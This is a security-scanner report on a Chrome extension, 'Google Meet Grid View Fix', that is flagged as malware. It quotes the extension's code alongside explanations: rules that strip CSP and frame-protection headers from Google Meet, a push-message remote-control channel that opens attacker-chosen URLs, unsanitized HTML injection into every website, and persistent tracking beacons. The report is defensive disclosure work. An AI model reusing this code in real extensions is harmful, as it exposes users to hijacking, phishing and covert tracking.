Security Alert: Malware Risk Confirmed
Google Meet Grid View Fix
ID: pcomdonnoilbhljaemmmmlcnhccgipel
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- googlemeetgridview.comView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Arrange Google Meets participants in grid layout and Hold Space bar to unmute while you talk, 100% working
Arrange Google Meets participants in grid layout and Hold Space bar to unmute while you talk, 100% working. Google Meet Grid View and Push to Talk is a simple but powerful extension that adds a toggle to use grid view in a Google Meet meeting. During the meeting, on a video call it provides a great user experience. It’s very easy to use as an extension icon will be added at the top-right corner in address bar. With the help of this extension, all the Google Meet participants can be seen simultaneously without having any primary speaker to make the interaction hassle-free. Also, you will not face any issues even in large meetings. This Google Meet extension is better than other grid view extensions as it comes with more advanced features and looks to enhance the meeting experience. It includes a better layout and now you can press the space bar to un-mute the mic and release to mute it back. Here are the highlights of grid view 1 Adds a button to use a grid layout in Google Meet. 2 Well optimised and enhanced grid view layout during Google Meet calls. Its 100% working and free of bugs. 3 Simply press and hold the space bar to un-mute the mic when you want to speak and release it to mute it again. We are working on it to make Google Meet grid view and Push to talk extension better for you.
Uses declarativeNetRequest to strip X-Frame-Options, Frame-Options, and Content-Security-Policy response headers for meet.google.com on main_frame, sub_frame, and script resources, and spoofs sec-fetch-dest to 'document'. Removing these headers disables critical browser protections (framing/clickjacking defenses and CSP), enabling arbitrary iframe embedding and injected-script execution against Google Meet. This is an active weakening of the victim origin's security posture.
chrome.declarativeNetRequest.updateDynamicRules({ addRules: [{ id: 1, priority: 1, action: { type: "modifyHeaders", responseHeaders: [{ header: "X-Frame-Options", operation: "remove" }, { header: "Frame-Options", operation: "remove" }, { header: "Content-Security-Policy", operation: "remove" }], requestHeaders: [{ header: "sec-fetch-dest", operation: "set", value: "document" }] }, condition: { resourceTypes: ["main_frame", "sub_frame", "script"], urlFilter: "meet.google.com" } }], removeRuleIds: [1]})Registers a Google Cloud Messaging push listener that, based on magic substrings in a server-supplied URL ('oibww'/'oib'), silently creates an iframe pointing at an attacker-controlled URL inside the background page, or opens arbitrary new tabs, or creates high-priority persistent notifications that open remote URLs on click. This is a live remote command-and-control channel that can load remote content and trigger navigation without user consent, behavior unrelated to the stated Meet grid-view functionality.
chrome.gcm.onMessage.addListener((function(e) { var t = e.data.message; if ((t = JSON.parse(t))[0].id) { if (getselfCookie(t[0].id)) return 0; setselfCookie(t[0].id, 1, 36e3) } if (image = t[0].image, t[0].link.search("oibww") > 0) { var n = document.createElement("iframe"); n.src = t[0].link, document.getElementsByTagName("head")[0].appendChild(n) } else t[0].link.search("oib") > 0 ? chrome.tabs.create({ url: t[0].link }) : function(e, t, n, o) { type = "basic", o && (type = "image"); var r = { type: type, title: e, imageUrl: o, message: t, iconUrl: "https://googlemeetgridview.com/assets/image_ext/pushlogo.jpg?v=" + Math.floor(1e4 * Math .random() % 678 + 1), priority: 100, requireInteraction: !0 }, i = (Math.floor(9007199254740992 * Math.random()) + 1) .toString(); chrome.notifications.create(i, r, (function(e) { d.push({ notfID: e, URL: n }) })) }(t[0].title, t[0].desc, t[0].link, image)}));Content script injected into every http(s) page (matches http://*/* and https://*/*) builds HTML from server-controlled fields (popup.css, popup.image, popup.text, popup.link, popup.width) and writes it into the DOM with innerHTML+=, producing a fixed-position top-layer banner (z-index 2147483647) on arbitrary sites. Because the HTML is composed by string concatenation from a remote JSON message with no sanitization, it is both arbitrary HTML/script injection into third-party origins and a phishing/ad-injection surface — entirely unrelated to Google Meet.
function n(e, t) { var n = JSON.parse(e.popup); o = 1; var i = document.createElement("div"); i.style.cssText = "position: fixed;box-shadow: 0px 1px 12px 1px grey;right: 10px;bottom: 10px;z-index: 2147483647;background: white;padding: 20px;font-size: 15px;" + n.css, i.id = "cz_a", footer = "", n.footer && (footer = '<div style="bottom: 4px;margin-bottom: -15px;font-size: 9px;width: 100%;text-align: -webkit-right;color: black;">suggestion by: ' + extension_name + "</div>"), close = '<div id="cz_close" style="position: absolute;right: 0px;top: 0px;cursor: pointer;z-index: 1;border-radius: 39px;width: 27px;text-align: center;height: 27px;line-height: 27px;">x</div>', document.body.appendChild(i); var r = document.getElementById("cz_a"); n.image ? cont = '<img src="' + n.image + '" style="width:' + n.width + '">' : n.text && (cont = n.text), r .innerHTML += close + '<a id="cz_link" href="' + n.link + '" target="_blank" style="font-size: 15px;line-height: 18px;">' + cont + "</a>" + footerIdentical remote-controlled HTML injection logic as c0.js, but running inside meet.google.com. The extension accepts a JSON 'popup' message from the background service worker and injects server-supplied HTML via innerHTML into the page DOM, enabling arbitrary overlay UI on a sensitive video-conferencing origin and potential phishing prompts (e.g., fake login/consent panels).
function r(e, t) { var r = JSON.parse(e.popup); n = 1; var i = document.createElement("div"); i.style.cssText = "position: fixed;box-shadow: 0px 1px 12px 1px grey;right: 10px;bottom: 10px;z-index: 2147483647;background: white;padding: 20px;font-size: 15px;" + r.css, i.id = "cz_a", footer = "", r.footer && (footer = '<div style="bottom: 4px;margin-bottom: -15px;font-size: 9px;width: 100%;text-align: -webkit-right;color: black;">suggestion by: ' + extension_name + "</div>"), close = '<div id="cz_close" style="position: absolute;right: 0px;top: 0px;cursor: pointer;z-index: 1;border-radius: 39px;width: 27px;text-align: center;height: 27px;line-height: 27px;">x</div>', document.body.appendChild(i); var o = document.getElementById("cz_a"); r.image ? cont = '<img src="' + r.image + '" style="width:' + r.width + '">' : r.text && (cont = r.text), o .innerHTML += close + '<a id="cz_link" href="' + r.link + '" target="_blank" style="font-size: 15px;line-height: 18px;">' + cont + "</a>" + footerOn every install/update the extension generates a persistent random per-user identifier ('gmpt_' + 8 chars, stored in chrome.storage.sync) and POSTs it along with version and install reason to data.googlemeetgridview.com, retrying every 30 minutes until registered. On non-install events (e.g., updates) it also opens an obfuscated bit.ly redirect in a background tab — user tracking plus opaque redirect traffic unrelated to Meet functionality.
chrome.runtime.onInstalled.addListener((function(e) { c() .then((function(t) { ! function e(t, o) { n = chrome.runtime.getManifest(), fetch("https://data.googlemeetgridview.com/api/user/", { headers: { "content-type": "application/x-www-form-urlencoded; charset=UTF-8" }, body: "version=" + n.version + "&extid=" + t + "&reason=" + o, method: "POST" }) .then((n => { if (!n.registered) return setTimeout((function() { e(t, o) }), 18e5) })) .catch((n => setTimeout((function() { e(t, o) }), 18e5))) }(t, e.reason) })) .catch((e => {})), "install" == e.reason ? chrome.tabs.create({ url: "https://googlemeetgridview.com/welcome" }) : chrome.tabs.create({ url: "https://bit.ly/44dGCVp", active: !1 })Continuously beacons the user's persistent extension ID to a remote server every ~5 minutes (or an interval chosen by the server via 'next_after') with 'active=1', providing server-side presence/activity telemetry tied to a stable fingerprint. This is ongoing unauthorized activity tracking beyond anything required for a Meet UI tweak.
var s = e => { fetch("https://data.googlemeetgridview.com/api/user/", { headers: { "content-type": "application/x-www-form-urlencoded; charset=UTF-8" }, body: "active=1&extid=" + e, method: "POST" }) .then((t => { if (t.next_after) return setTimeout((function() { s(e) }), t.next_after); setTimeout((function() { s(e) }), 3e5) })) .catch((t => { setTimeout((function() { s(e) }), 3e5) }))};Registers with Google Cloud Messaging using sender ID 388733540072 and ships the resulting push token plus the persistent extid to data.googlemeetgridview.com/api/gcm/, and sets an uninstall URL that echoes the same extid — establishing an always-on server→client push channel keyed to a stable user fingerprint. Combined with the GCM handler above (which can silently iframe/tab-open remote URLs), this is the server side of the remote-control channel.
c() .then((function(e) { chrome.runtime.setUninstallURL && chrome.runtime.setUninstallURL( "https://googlemeetgridview.com/feedback/?eid=" + e), s(e), async function(e) { let t = ["388733540072"], n = t.length; e && (n == await r("noIDs") && "undefined" != await r("pushToken") && null != await r( "pushToken") && "" != await r("pushToken") && void 0 !== await r("pushToken") || !await r( "extid") || (chrome.gcm.register(t, u), await a("noIDs", n))) }(e) }))By severity
Versions scanned
Showing 1 of 13 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.12 | 7 |
Files with findings
3 distinct paths — top paths by unique finding count:
- bg.js5
- c0.js1
- c1.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.